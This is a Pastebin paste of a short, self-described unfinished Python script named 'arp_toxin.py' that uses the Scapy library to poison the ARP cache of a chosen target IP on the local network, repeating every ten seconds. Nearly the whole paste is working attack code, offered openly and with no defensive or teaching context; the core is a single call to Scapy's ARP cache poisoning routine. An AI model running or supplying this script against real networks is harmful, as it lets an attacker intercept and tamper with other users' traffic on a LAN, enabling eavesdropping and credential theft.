Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- #ARP Poison Script - poisons dat ARP
- #NOT FINISHED
- #Needs SCAPY
- from scapy.all import *;
- from time import sleep;
- conf.iface='wlan0'; # network card, must make this an arguement later
- if len(sys.argv) != 2:
- print "Usage: ./arp_toxin.py <target>"
- print "Where <target> is an IP on the LAN"
- sys.exit(1)
- conf.verb=2
- address=get_if_addr(get_working_if())
- target=sys.argv[1]
- interval=10
- print "[+] Using %s" % address
- print "[+] Cache poisoning, interval %d" % interval
- print "[!]Press Ctrl+C to cancel"
- arpcachepoison(address, target, interval) # the ONLY important bit...
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement